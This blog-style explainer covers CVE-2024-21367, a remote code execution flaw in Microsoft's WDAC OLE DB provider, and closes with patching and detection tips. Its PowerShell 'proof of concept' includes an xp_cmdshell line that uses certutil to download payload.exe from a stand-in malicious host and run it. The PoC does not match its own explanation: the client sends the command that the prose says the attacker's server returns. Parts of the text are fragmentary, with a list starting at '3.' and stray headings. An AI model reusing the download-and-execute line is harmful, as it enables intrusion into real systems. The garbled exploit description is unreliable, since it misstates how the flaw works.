In February 2024, a critical vulnerability—CVE-2024-21367—was reported affecting the Microsoft WDAC OLE DB provider for SQL Server. This serious flaw allows attackers to achieve remote code execution (RCE) on targeted systems. In this long read, we'll break down how this bug works, show some practical exploitation techniques, and share links for deeper research. Whether you're a security pro or just getting started, this post is tailored for you.

What is CVE-2024-21367?

CVE-2024-21367 is a security flaw found in the Microsoft WDAC OLE DB provider that enables unauthorized remote code execution when handling specially crafted SQL queries or objects. The OLE DB provider is a key component used by various Microsoft services and apps to interact with SQL Server databases. A successful attack can let hackers execute malicious commands as the user running the database connection.

Severity: Critical (CVSS Score 8.8)

Impact: Attackers can run code with the same permissions as the target user or service, potentially taking over systems, stealing data, or moving laterally through a network.

Official Microsoft Advisory:
Microsoft Security Update Guide - CVE-2024-21367

How Does the Vulnerability Work?

When an application connects to SQL Server using the Microsoft WDAC OLE DB provider, it processes SQL queries, commands, and object properties. Due to insufficient input validation, specially crafted requests can trigger execution of arbitrary code.

Malicious Payload Sent: Crafted SQL command or object sent over the connection.

3. Vulnerable Component Processes This Data: The provider fails to properly sanitize or check input.

Network Exposed SQL Servers.

Common targets include web apps with backend databases, enterprise services, and internal tools using OLE DB connections.

Exploit Walkthrough: Simple Demo

Imagine you trick an application into processing a malicious Data Source Name (DSN), causing shellcode to execute locally.

Disclaimer: This is for educational purposes only. Never exploit systems without permission.

Example PoC (Proof-of-Concept) using Powershell

Suppose the attacker can inject or modify the connection string, or has some sort of proxy/middleman access.

# Simulated malicious OLE DB connection in PowerShell

$ConnectionString = "Provider=MSOLEDBSQL;Data Source=AttackerServer\SQLEXPRESS;Initial Catalog=master;Integrated Security=SSPI;"

# Payload: Attacker configures SQL Server to send back data,
# but instead of data, it drops an executable via a vulnerable parsing bug in the OLE DB provider.

$Query = "EXEC xp_cmdshell 'certutil -urlcache -split -f http://malicious.example.com/payload.exe C:\temp\payload.exe && C:\temp\payload.exe'"

$Connection = New-Object System.Data.OleDb.OleDbConnection($ConnectionString)
$Command = $Connection.CreateCommand()
$Command.CommandText = $Query

$Connection.Open()
$Command.ExecuteNonQuery()
$Connection.Close()

$ConnectionString connects to attacker-controlled SQL Server.

- The attacker’s SQL Server responds with a malicious command invoking xp_cmdshell (a feature that lets you run OS-level commands from SQL).
- Because the OLE DB provider mishandles certain inputs, it passes and executes the dangerous command, leading to code execution.

Key Point: Even if xp_cmdshell is disabled, similar attack vectors are possible depending on the specific function or parsing mechanism involved in your WDAC OLE DB stack.

Update Microsoft OLE DB Drivers:

Install the latest security patches from Microsoft for your Windows/SQL Server environment.
- Microsoft OLE DB Driver for SQL Server Downloads

Look for unexpected use of features like xp_cmdshell or out-of-policy connection strings.

- Use behavior-based EDR tools to catch unknown process launches spawned from SQL or app service accounts.

More Resources & Reading

- Microsoft Security Update Guide: CVE-2024-21367
- Microsoft OLE DB Documentation
- Rapid7 Coverage Note on CVE-2024-21367
- Mitre CVE Entry

Conclusion

CVE-2024-21367 highlights the continuing danger of remote code execution flaws in critical database components. If you operate SQL Server or applications using OLE DB, patch now. With relatively simple tricks—crafted SQL commands or hijacked connections—an attacker could get full control over your server. Use the code samples and advice above to stay one step ahead.

Timeline

Published on: 02/13/2024 18:15:54 UTC
Last modified on: 03/05/2024 20:03:33 UTC